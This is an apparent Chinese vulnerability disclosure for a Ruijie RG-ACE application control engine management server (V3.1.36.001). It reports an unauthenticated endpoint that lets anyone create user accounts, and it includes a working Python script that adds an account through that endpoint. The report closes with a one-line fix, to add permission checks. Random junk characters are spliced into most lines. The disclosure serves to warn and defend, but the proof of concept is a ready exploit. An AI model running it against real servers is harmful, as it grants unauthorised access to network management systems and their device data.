锐捷应用控制引擎管理服务器(RG-ACE系列应用控制引擎管理服务器V3.1.36.001,官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版)可以根据没有权限验证的接口直接增加用户,连接设备,查看设备信息和报表(权限相对于默认的admin比较低)
) z7 S/ p( s2 ]2 y/ [9 Q, i! c0 f0 j4 d6 S2 `1 l( t
4 E# t6 ?% Z: }! w# z' v
测试的具体版本是
0 r" F# Z1 p( A( o( @; G0 y' ?产品名称: 锐捷应用控制引擎0 P* j6 N5 ?, F% U, {
版本号: 3.1.36.001 TC
& o% }* Q* J* Q6 ]) X编译时间: 2011042917306 P! R' H5 C2 ?% S
8 D( ~5 S9 N9 j: W2 A
' ^: i8 |& X; O" {; ^漏洞证明:- h- j' N4 E7 x5 t" H7 o# ^
8 o5 G$ f, `% q& j h
" h& G) C( O# n0 v: d# Q
8 V& R! u# `7 w- }& ~3 h* Z, j5 T) e/ z. v% q0 l
( j& w: f/ |7 d8 j
6 L7 J7 @$ U. s% c
执行脚本
% K' b$ r. F2 ?% j6 P. t#! /usr/bin/env python
* P4 u9 o5 Q: ^4 D( U#coding=gbk1 H! Q* q0 Q$ ?
#RG-ACE管理服务器 V3.1.36.0014 L, b4 T3 I M$ v- O
import urllib2, urllib,cookielib/ Z, q" S/ S! ]$ x# T0 d- T
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP z, h; u" O1 R7 b/ R
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
. @# Z! [, J v: \opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]) \0 F" s4 k5 X) _; [8 \
post=(("event","userManager.doInsertUserInfo"),
& \1 _' E) m+ `) A+ v("useractionname","addButtonValue"),. b/ Z( q' A4 T) r/ C- ~7 ~
("useropermanager","userManager"),
/ t" H! a; M7 b("userName","t"), #######账号自己加7 T5 t$ }1 L% d! A' L1 k' G
("pwd","aaaaaa"),######密码自己加 N4 q, |: F' ?* U& B) P+ C
("trueName","ad"),! {9 J' i4 z5 l4 A8 o& o3 C
("email",""),
6 x1 T' g2 B3 Q! X9 l: k("mobilePhone",""),# x$ r2 ?- `2 Q* A& ^0 S
("officePhone",""),
& w+ Y+ h8 G d0 F, [& M("addr",""),, k, B9 v6 H; M
("submit","确定"))
6 F) Q& x7 D+ v/ Burllib2.install_opener(opener)( D4 |3 I* S" V Y! `5 u
p=urllib2.urlopen(url, urllib.urlencode(post)).read()1 ]; q: C" x5 N1 L
print "Done"/ [% Z; ]+ [- p5 T. M, X* ^
( N! @* r9 ^! C- n1 ]0 z登录,连接设备
7 P7 B" w/ Q7 z
4 F7 Q y8 c1 I$ t! z$ W# ^! ~$ x
) L$ e; i8 V7 k7 d$ X1 t
8 A& C8 z5 W" Q6 t) M. g) Z- k i
# a- J: ~! v* s! H9 Z( N1 }# y( R+ w5 ?* i ^$ P! f# ]
默认的管理员admin权限更大点
; [, Q0 o3 V8 C+ }7 j, u: q, e2 `
$ E4 e2 o- ~! F, S6 ^) d
* H* Y* O" i( z1 V$ {% [
; A0 q4 t' t; w" a9 C: @* p! I/ O
2 V* C" s0 `' Y& h) |4 w4 B1 b% Y0 G
修复方案:% p1 }# l2 }7 R* F
加强对接口的权限验证: C5 Y4 t! g" c: t: J
/ C& `, d$ z e( G; \7 U |